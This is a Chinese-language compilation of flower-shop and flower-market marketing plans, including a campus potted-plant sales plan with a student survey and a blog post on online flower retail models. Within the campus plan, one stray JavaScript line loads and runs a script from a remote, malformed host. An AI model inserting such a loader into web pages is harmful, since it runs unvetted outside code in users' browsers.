鮮花市場營銷調研報告

A. 花店營銷策劃書

花店營銷策劃書

工作在不經意間已經告一段落了，面對新的工作，制定好新的目標，讓我們一起來學習寫策劃書吧。相信大家又在為寫策劃書犯愁了吧！下面是我為大家收集的花店營銷策劃書，希望能夠幫助到大家。

花店營銷策劃書1

一、花店市場調查和選址

從選址上，應選擇交通便利人流大的地方，如商業中心、高檔別墅、公寓、寫字樓附近等。選址在城市中心區域里的中心醫院。在醫院的附近開花店有個好處，就是在鮮花消費淡季時，醫院里住院的病患者卻不淡。這樣可在淡季時增加花店收入，保住部分開支。另外還可附帶一些水果副食賣。

二、花店開店籌資和進貨渠道

花店資金主要是租金、裝修、訂貨，一般不需要太多，可以向親朋好友借，亦可向銀行貸款，還可以幾個人合夥注資開店。鮮花的質量和價位，是贏得市場的法寶，找到自產自銷的貨源，可使利潤空間得到最大保證，如果有條件的話還可以和我國最大的鮮花產地雲南的花卉市場來合作進行鮮花空運、托運，以此委託他們來把握貨源質量第一關。花店要以走價格+質量+服務為宗旨，贏得客源。不管經營哪行信譽都是關鍵，一靠花卉質量價格，二靠服務質量，批零店如果花卉質量價格由供貨商把關的話，作為店主主要靠服務質量。

三、花店業務定位

在經營范圍上，花店可定位在以鮮花、盆花、乾花工藝絹花和花器、婚慶服務為主，根據當地情況還可適當兼營其他配套商品和服務，以提高花店的綜合經濟效益。花卉租賃與銷售要相結合發展。

花店的服務貫穿在經營過程的始終，直接關繫到有無「回頭客」，關繫到市場佔有率，我們的消費者大多數在消費鮮花時不知道花語，所以花店要引導消費。花店可適應部分消費者的需要，專門為其布置廳堂，進行花藝設計。售後服務主要體現在教授花卉養護、保鮮知識，經常訪間客戶，掌握其消費新要求、新動向，為客戶及時更換新鮮花等等。

好酒也怕巷子深，所以，花店也要特別重視直接和間接的廣告宣傳。如果自己開店不如先作一個免費送貨上門的承諾，無論對於批發商還是零售商，此項售前服務，會建立一個逐漸、擴大的信譽體系客戶群體。除此之外，鮮花店經營策略是無論哪個城市，星級飯店的鮮花布置，都是一個很好的業務，3～5天更換一期，費用少則幾百，多則幾千元，更何況酒店的婚宴，會議，生日宴又很多，無形帶來許多生意，影樓，酒吧，歌舞廳也是你開拓業務的市場。

四、花店裝潢設計

花店裝潢設計要盡力營造一種優雅的氛圍。店面招牌設計應簡潔、明快、店名易記並賦有文化內涵。店標要醒目，它的設計要為以後發展連鎖店打下基礎。店內的裝修要簡潔、色彩以色淺色調明快為主，適當地動用點歐式鐵藝能提高花店的品位。商品有陳設應少而精，免得顯得雜亂無章。另外店內應多安裝射燈。因為射燈可烘托花店的氣氛，美化作品、美化花店的作用。這點非常重要。為了體現「花團錦簇」，可以裝些有反射功能的玻璃鏡面，這樣店面空間顯得大，鮮花也變多了。

五、重視顧客心理分析

顧客上花店購花，花店員工要分析顧客心理。①從年齡、著裝、交通工具;②消費者心態，臉色、喜怒習慣愛好。消費者往往懷著戒備和不信任心理，要努力消除這些情況。③同時要分析消費特點和用途，要觀察顧客在花錢的態度上，這與人受教育程度、教養程度、生活方式及消費觀念有關，介紹鮮花時，先問用途再選式樣(花束或花籃，花束浪漫，花籃莊重)，再選花材進行花藝創作，最後推薦出一個價格適當產品。

六、重視特色經營和科學經營

經營花店應本著「以誠為本、服務至上」的經營原則，真誠為消費者服務。樹立競爭意識、市場意識，講信譽，創品牌。

花店要十分重視特色經營，獨特的店面設計和店內裝修，品種齊全的國內外花材、葉材，獨特的花藝風格都能讓花店與眾不同。

科學經營方面，首先花藝既是花店立店之魂，要提高插花技藝，重視員工素質培養和管理工作要制定花店管理制度，用制度去規范員工，培養員工的主人翁精神。同時花店要經常進行花藝培訓，提高員工的花藝技術水平、知識結構和美學修養。多訂閱一些花藝書籍。及時了解花卉時尚動態:及早與國際花藝流行趨勢接軌。

花店要樹立自己的品牌，形成花店的無形資產，這非常有利於利潤的提高。

花店還可以開個花卉門診。現在許多單位和家庭都願意自己養上幾盆花，來裝扮居室，但由於缺乏一定的園藝知識，對花卉所需的土壤、溫度、濕度等條件以及越冬越夏措施不了解，難以養好花。想請教，卻找不到專業人士指導。因而可設立一個「花卉門診」，並開通「花大夫熱線」，接受大眾的花卉養護咨詢，為花卉的病蟲害進行診斷，並組織補救。還可利用已有的設施，開設「花卉病房」，為某些嬌貴的花卉進行看護，為某些越冬的花卉提供場所等。這樣將可免除養花人的種種疑慮，並可增加花店的知名度，完善售後服務，從而增加花卉的銷售。

花店營銷策劃書2

一、市場需求定位

隨著人們生活質量的提高，人們對美的.追求也越來越高，花已經 成了人們不可缺少的點綴，從花卉的的消費可以看出，近年來呈 上升趨勢。花，不僅千姿百態，有著各自的寓意，每朵漂亮的花 都讓人賞心悅目，並且，花在很多時候都可以含蓄地表達人們內 心深處的話，在每個節假日，花傳達著濃情寓意，絲絲香意暖人 心，它豐富了人們的生活，更提高了人們的生活品質。所以在市 場上，花有一片遼闊的「藍海」之地

二、花店業務定位

在經營范圍上，花店可定位在以鮮花、盆花、乾花工藝絹花和花 器、婚慶服務為主，根據當地情況還可適當兼營其他配套商品和 服務，以提高花店的綜合經濟效益。花卉租賃與銷售要相結合發 展，我們的消費者大多數在消費鮮花時不知道花語，所以花店要 引導消費。花店可適應部分消費者的需要，專門為其布置廳堂， 進行花藝設計。售後服務主要體現在教授花卉養護、保鮮知識， 經常訪間客戶，掌握其消費新要求、新動向，為客戶及時更換新 鮮花等等。

三、營銷策略定位

1、花店本身的營銷

花店的質量和價位是贏的市場的法寶，，找到自產自銷的貨源，可使利潤空間得到最大保證。。花店要以走價格＋質量＋服務為宗旨的路線，贏得客源。不管經營哪行信譽都是關鍵，一靠花卉質量價格，二靠服務質量，批零店如果花卉質量價格由供貨商把關的話，作為店主主要靠服務質量。

2、通過第三者營銷

對花的營銷還可以通過宣傳方式，如果是花店企業或者公司，可以通過媒體廣告等方式來宣傳。如果僅僅是一個不過幾平方米的小小花店可以通過發傳單的方式來吸引更多的消費者。

3、對消費者的承諾

不管經營什麼店，首先最重要的是對費者的承諾，給予他們足夠的信任。然後是花的質量和服務，對花店來說花期的更換很重要，為了保證花的新鮮，要隨時注意花的鮮艷，最好是3～5天更換一期。

4、花店的選址

從選址上，應選擇交通便利人流大的地方，如商業中心、高檔別墅、公寓、寫字樓附近等。選址在城市中心區域里的中心醫院。在醫院的 附近開花店有個好處，就是在鮮花消費淡季時，醫院里住院的病患者卻不淡。這樣可在淡季時增加花店收入，保住部分開支。另外還可附帶一些水果副食賣

5、節假日的小活動

節假日的顧客比較多，比如母親節這時應多購進康乃馨，情人節應多購進各種顏色的玫瑰。還可以在顧客購買花的時候送點小禮物，比如買盆栽是送澆水瓶等等。

四、競爭定位

開花店的同行很多，要想獲得消費者的滿意度在競爭上是很難得，因此必須別具一格，給消費者留下好的影響。因此花店的服務很重要，並且在裝修和布置方面應該是格調和諧雅觀，給人很舒適放鬆的感覺，商品有陳設應少而精， 免得顯得雜亂無章。另外店內應多安裝射燈。因為射燈可烘托花店的氣氛，美化作品、美化花店的作用。為了體現「花團錦簇」，可以裝些有反射功能的玻璃鏡面，這樣店面空間顯得大，鮮花也變多了。如果沒把握做到最好就不要與競爭對手一樣，不能雷同不能效仿更不要超越，而是別具一格，走不通的風格。

五、消費者心理的定位、

根據消費者的喜好來對花的經營，在銷售過程中要察言觀色，指導消費者購買，知道他們心中所想，解除他們的疑惑和不信任。還可以購進新品種的花，在必要時向他們介紹，在他們的腦海里開辟一種新花種，讓每個消費者成為「回頭客」。

B. 花卉市場營銷策劃書

花卉市場營銷策劃書

導語：隨著人們的生活水平不斷地進步，生活質量不斷地提高和對生活的追求。鮮花已經是人們生活不可缺少的點綴。下面我為你整理的花卉市場營銷策劃書內容，希望對你有所幫助！

一、項目背景

千姿百態的花兒述說著千言萬語，每一句都述說著"美好",特別是現在。隨著人們的生活水平不斷地進步，生活質量不斷地提高和對生活的追求。鮮花已經是人們生活不可缺少的點綴!花卉消費近些年來呈越來越旺的趨勢，除了花卉本身所具俏麗姿容，讓人們賞心悅目，美化家居等功效外，它還可以開發人們的想像力，使人們在相互交流時更含蓄，更有品位

這樣我們創辦網上校園花店以鮮花專遞為市場切入點，兼顧網站長期市場佔有率和短期資金回報率以搶占市場，以滿足個性消費為主題，以鮮花為試點帶動其他產品，最終能形成具有"地質大學青鳥花店"品牌優勢的市場。是十分可行的。

二、公司項目策化

1. 提供鮮明，公司使命有效，暢通的銷售渠道，提供產品服務為根本，促進鮮花市場的大發展。我們的青鳥將成為一個可愛的信使，把祝願和幸福送到千家萬戶。為人類創造最佳生活環境

2.公司目標

立足地大，服務武漢，輻射華中。創建網上花店一流的公司(喜盒網)。本公司將用一年的'時間在武漢的消費者中建立起一定的知名度，並努力實現收支平衡。在投入期僅選擇網站總站所在地質大學西校區作為試點市場，該區市場容量在3000人以上，較有代表性，試點時間為一個半月。當模式成功後，以asp的形式在分站推廣。經過3到6個月的運營後再擴張到其餘的市場

三、經營環境與客戶分析

1.行業分析

"地質大學青鳥花店"網站是由在校大學生推出的面向650萬在校大學生的垂直網站，因此目標消費者定位為在校大學生。該網站除武漢地質大學的總站外，在湖北各高校設有分站，因此，暫定的目標消費群以湖北各高校大學生為重點，將來逐步擴大市場，以中國地質大學為例，各類在校生近2萬人，則投入8校共有近20萬的目標消費者，而最新的統計表明，全國在校大學生有650萬左右，這樣的市場規模是相當龐大的，而且考慮到將來在校生畢業後仍將成為網站的忠誠客戶這一現實，目標市場的容量將是相當可觀的

2.調查結果分析

本公司對武漢的各高校大學生為重點進行客戶分析，主要採取問卷調查(問卷調查表見附錄一)和個別訪談的方式。此次我們共發出問卷50份，收回37份。由於時間有限，問卷數量不多，但還是從一定程度上反映了廣大消費朋友的消費心理和需求：

⑴有明顯的好奇心理，在創新方面有趨同性，聽同學或朋友介紹產生購買行為;

⑵購買行為基本上是感性的，但由於受自身經濟收入的影響其購買行為又帶有理性色彩，一般選擇價位較低但浪漫色彩較濃的品種;

⑶在校大學生沒有固定的購買模式，購買行為往往隨心所欲;

⑷接受和吸收新事物的能力強，追求時尚，崇尚個性;

⑸影響產品購買的因素依次為：價格，品種，包裝，服務等;

⑹購買行為節日性很強，一般集中在教師節，情人節，聖誕節及朋友生日前後。

3.目標客戶分析

在校大學生購買一般不問價格，但從網上定單來看側重於中檔價位。在定單數量上傾向於能表達心聲，如大多數訂購1支(你是我的唯一),3支(我愛你),19支(愛情路上久久長久),21支(最愛)等等，在教師節這一天往往以班級人數為單位訂購鮮花。包裝一般傾向於要求高檔化，有向個性化方向發展的趨勢，對鮮花的質量要求比較苛刻，如不允許有打蔫現象等。

2.營銷策略分析

2.1 品牌策略

網站建設初始，我們便非常重視品牌。在品牌包裝上，由美工人員根據詳細的市場調查和大膽預測，採取動態與靜態頁面相結合的設計方案，從視覺形象和文字字體都經過精心規劃，力求具有獨特創新

2.2 價格策略

青鳥網上花店在原料，包裝，服務等方面力求盡善盡美，努力給客戶最大限度的享受和心理滿足。既走價格路線，又走質量路線，滿足不同層次消費者的需求。

2.3 促銷策略

⑴宣傳策略

利用學校廣播站，報欄，宣傳欄免費宣傳另外利用網站本身信息流優勢宣傳和突出形象，並與各大報社，地方電台與電視台建立良好的關系，採取互惠互利雙贏的戰略模式

⑵服務方面

網上花店的服務必須是一流的，對於配送隊員而言，只要有定單，就必須按照定單要求按時按地送到，並且是微笑服務。

在售後服務方面，由客戶服務部負責採取以下幾種方式：

①打感謝電話或發e-mail進行友情提醒服務，並在客戶重大節日時發電子賀卡

②無條件接受客戶退貨，集中受理客戶投訴

③設立消費者調查表，附贈禮品，掌握消費者需求的第一手資料

④第一次訂購的客戶將收到隨花贈送的花瓶，並享受價格優惠，成為會員後享受會員價格。

⑤不定期的在網上或離線召開會員沙龍，交流信息，溝通感情，並解答客戶最感興趣的問題。

⑥建立客戶資料庫檔案，客戶重復訂購時只要輸入名字，客戶的其他信息便自動調入系統。

2.4 渠道建設

就目前來看，網上花店主要是與一級批發商建立業務關系。選擇批發商時，一般考察其經營業績，信譽，合作態度，供貨是否及時等方面，要求此批發商在同一城市有位於不同區域的幾家營銷網點，以便於各高校配送成員就地取花。通常與批發商簽訂合作協議，就價格與產品質量等問題達成一致意見

3.網上花店策略實施

1.市場范圍選擇，在投入期僅選擇網站總站所在中國地質大學西校區作為試點市場，該區市場容量在3000人以上，較有代表性，試點時間為一個半月。該模式成功後，以asp的形式在分站推廣。先在已經建成的另外7個分站試運營，經過3到6個月的運營後再擴張到其餘的市場。

2.重點宣傳客戶，宣傳對象以在校學生為主，他們對流行感興趣，往往容易領導潮流，而對於邏輯思維較強的工科學生，我們利用先期的受眾進行傳播達到宣傳效果。

3.現場促銷選擇每年9月8日和9月9日兩天為重點宣傳日期，在此之前，將宣傳單分發至學生宿舍。

C. 花卉盆栽市場營銷

．前言
我所學的專業為觀賞園藝，觀賞園藝主要的發展方向是觀賞花卉，尤其是盆栽花卉。盆栽花卉品種繁多，可分為一二年生花卉如盆栽瓜葉菊、蒲包花等。宿根花卉如君子蘭、萬年青等。球根花卉如仙客來、馬蹄蓮等。仙人掌及肉質多漿植物如蟹爪蘭、蘆薈等。蕨類植物如巢蕨、鐵線蕨等。還有蘭科、鳳梨科、棕櫚科的花卉，以及木本花木蘇鐵、變葉木、白蘭花等。而且，盆栽花卉不受品種的限制，只要具有一定觀賞價值的花卉，在盆內能生長良好的品種均可採用盆栽的方式。
現在，我已經進入專業課程學習階段，專業實驗課程有盆栽花卉的栽培。為了結合理論與實踐，為了將實驗生產轉化為實際的有效的經濟利益，我提出在川農校園內進行盆栽花卉的營銷策劃。希望在營銷策劃的過程中進一步深入學習市場營銷學的理論知識，在進行盆栽花卉校園營銷的過程中，熟悉營銷流程，鞏固專業技能，學習實踐經驗。為畢業後能盡快適應社會做好准備。 二．市場調研及分析
川農校園是一個大的市場，市場的所有組分都是學生，所以，我們結合自己的專業在校園內進行實驗生產的盆栽花卉的營銷，發展空間是很大的。在專業實驗課上，我們被分做八個人一組，選定組長，分配一塊實驗地，提供若干種花盆栽卉種子，只需要各組自行進行栽培種植，然後各自營銷。幾乎是不需要考慮成本。而且，還有專業老師的理論指導和經驗幫助，並幫忙向學校打通校內營銷許可，可以說是，萬事俱備，只欠東風。
在盆栽花卉營銷准備階段，擬定一份關於營銷盆栽花卉的相關信息的問卷，復印一千份，分別由八個組員到各棟住宿樓各個寢室進行訪問調查。問卷內容如下：
1. 你是否願意購買觀賞園藝專業的同學自行栽培的室內盆栽花卉？ a 願意 b 不願意 c 無所謂
2. 你是否喜歡在寢室裡面養盆栽花卉？ a 願意 b 不願意 c 無所謂 3. 你對盆栽花卉了解有多少呢？
a 較多 b 一般 c 很少
4. 如果你購買盆栽花卉的話，什麼范圍的價格，你最能接受呢？ a 10元以內 b 20元之內 c 30元以內
5. 如果你購買盆栽花卉的話，你是願意到外面的花店去買呢，還是直接從 觀賞園藝專業的同學手上買呢？
a 花店 b 同學手上 c 無所謂
6. 如果你想買一種盆栽花卉，你會根據該花卉的什麼特點買呢？ a 花形花色 b 葉形葉色 c 花香花味
7. 你是願意購買一二年生花卉呢，還是願意購買多年生花卉？ a 一二年生 b 多年生 c 無所謂
8. 下列花卉你最喜歡哪一種做為盆栽花卉擺放在室內呢？ a 蘭花 b 月季 c 山茶
9. 仙人掌及肉質多漿植物你最喜歡哪一種？ a 仙人球 b蟹爪蘭 c蘆薈
10. 你對此次問卷調查的意見-------------------------------------

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

然後，收集問卷，統計答案，進行數據分析。用直方圖表示出各答案所佔比例，進而初步確定營銷的主要盆栽花卉品種和價格。 三．目標市場分析
將川農這個大市場進行市場細分，主要從人口細分和心理細分兩個方面著手。
人口細分主要根據人口變數——性別和收入，來細分消費者市場。簡單地來說，消費者分為男生和女生，而其消費能力又取決於學生的生活費用的多少。一般來講，女生文靜，文雅，細膩，愛漂亮，愛花；男生豪邁，瀟灑，粗獷，愛玩，愛游戲。所以女生會購買盆栽花卉作為裝飾擺放在寢室內的幾率要大一些。另一方面呢，根據川農學生的普遍生活水平來看，學生的月生活費用與人數的關系應該是呈正態分布的曲線。那麼，在這一點上，男生和女生購買盆栽花卉的幾率基本相同。
心裡細分主要根據消費者的生活方式、個性等心理變數來細分消費者市場。實際點說，就是學校裡面的各個協會，各種社團，都有各自的辦公室，而這些辦公室，就是我們的首要目標客戶。因為協會，社團裝扮辦公室是必須的，公費的，是可以報銷的，所以會比較容易。其次，是學生中的班幹部，團幹部，黨員這類人群，這些同學有時會作為代表買一些盆栽花卉在一些特別的日子裡送給老師，表示尊敬，感謝等。 四．4P策略
1. 產品 通過對問卷答案的統計和分析，再根據目前擁有的花卉種子品種，有 選擇性，有目的性地進行播種，育苗，定植。購買一定質量和數量的 漂亮花盆，將各個品種進行上盆，上盆成熟後，開始第一批賣花。然 後，根據第一批各種花卉的賣出情況，進行選擇性地第二次上盆，賣 花，根據這個原理，進行產品受歡迎度的確認。最後，重點栽培最暢 銷產品。在賣花過程中，廣泛征詢，吸納顧客的意見，同時，購買新 種子，培育其他盆栽花卉品種。 2. 價格 調查走訪學校附近各大小花店，進行價格初定。盆栽花卉培育成功後， 考慮種子，肥料，花盆的成本，進行價格定位。使我們的賣花價格與 花店的賣花價格形成一定的差異，或高一點，或低一些，爭取市場。 在新校區，擁有地理優勢，可適當抬高點價格。
3. 渠道 我們一般通過擺地攤的形式，在人流量大的地方進行賣花。主要在中 午和下午吃飯的時間段，在食堂門口進行擺攤賣花。由全組人員一齊 出動賣花，增強陣勢，吸引人氣。如有特別需要，也可以進行產品預 定。
4. 促銷 我們策劃的校園盆栽花卉營銷屬於微利經營，一般不會出現促銷的 情況。但是，無奈的是，既然是花卉，就會有花期。開花期一過，我 們所追求的短暫的盆栽花卉經濟效益將大大降低。所以，在花期即將 過去的時候，我們也將不得不進行促銷活動。或降低價格促銷，或買 一贈一促銷等。 五．結束語
希望在這次校園盆栽花卉營銷活動中，體驗實踐的快樂，學習實踐的經驗。

D. 線上鮮花市場商業模式分析/一些感受（1）

【 最近做了線上賣鮮花的小副業，說一下自己對線上鮮花市場的一點感受。】

【本文只簡單講述商業模式（市場概述），進一步的用戶畫像、營銷運營等看下一節】

【這個要說的很多，以後有空說多一點，這里只是概述】

       鮮花市場可以細分很多小市場——1. 培訓 / 2. 企業定製 / 3. 花藝沙龍 / 4. 零售 。。。。 

      這里只說線上的零售市場。

      線上的零售賣家主要分成3種類型：

        1.   線上鮮花零售連鎖——花點時間、花加（其實他們不是只做零售的，以後可以專門講一個產品分析）

        2.   實體花店的線上營銷——在各個外送平台售賣花束

        3.   純線上零售（我自己是這種方式）——

                鮮花基地（比如很有名的雲南昆明斗南鮮花市場）物流直發快遞到用戶手上。

                這種模式其實是跨越了傳統商業模式中的「花店」一環節，直接由 生產商（鮮花基地）——>客戶手上。

                但是其實這樣說並不完整，實際上中間穿插了「代理」這一環節。

接下來再進一步闡述這個模式的特點。

1.  鮮花基地直發是否可行？

       鮮花相較於其他產品而言，他對物流快遞有較高的要求，需要較高的「時效性」，從而保障鮮花到客戶手上時是新鮮有活力的。

        隨著物流市場的發展，「時效性」已經有了一定的保障。一般鮮花基地會簽訂物流公司的空運模式，極大提高了物流速度。 實際上，現在大多數實體花店也是通過物流的方式在網上向基地購買花材。對於鮮花基地來說，賣個小花店（一次進貨6-10扎鮮花）和賣給個體（一次買1-2扎鮮花），在商業模式上是差別不大的（大客戶另說）。

2. 用戶是否會買賬？

    個體用戶買花的幾個原因（這里不說團隊/公司），主要有

            1.  逢年過節，買鮮花送朋友送親戚送長輩

             2.  買回來在家自己養護

    線上鮮花市場主要是做有第二個需求的個體，他們對日常鮮花的需求量高、對生活有追求。 隨著中國人均gdp的提高，人們對生活質感的追求逐漸提高，個體購買鮮花綠植的意願是在增強的。當然，不能否認的是，一二線城市願意購買鮮花綠植的用戶比例是更高的。

    第二需求的個體，他購買鮮花不需要「即時性」，也不需要花店搭配、包裝。他們更能接受線上購買鮮花，回家自己搭配養護。另外，線上購買價格比實體店更便宜（實體店有成本），所以對於這種「有經驗」的客戶，他們也更願意線上購買。

3. 是否盈利？

        對於鮮花基地來說，每單是盈利的（給小花店和個體的價格差不多），但是值得注意的是，由於面向零售用戶，用戶量是增加的，與之伴隨的是，咨詢量增加、售後增加，尤其是部分客戶初次在網上買鮮花對流程不熟悉、對花材護理方式不熟悉。所以，進一步產生了分銷模式——代理商，代理幫助基地處理咨詢、售後等流程，減輕基地壓力。

        對於代理而言，他們沒有實體花店的成本壓力（租店鋪、器材等等），賺個「差價」。我自己的經驗是，售價在基地成本價的1.5-2倍之間。這樣才對得起自己的時間。

其實線上零售的市場說大也大，說小也小——實體花店的盈利核心並不在零售，而是婚禮/策劃/沙龍等等，這些盈利點線上無法完全侵佔。我覺得實體花店需要考慮如何做好線上+線下，而做線上零售的代理們也要考慮如何更好的侵佔市場。

以上是我自己的一些看法，可能並不完全正確，歡迎討論/指證。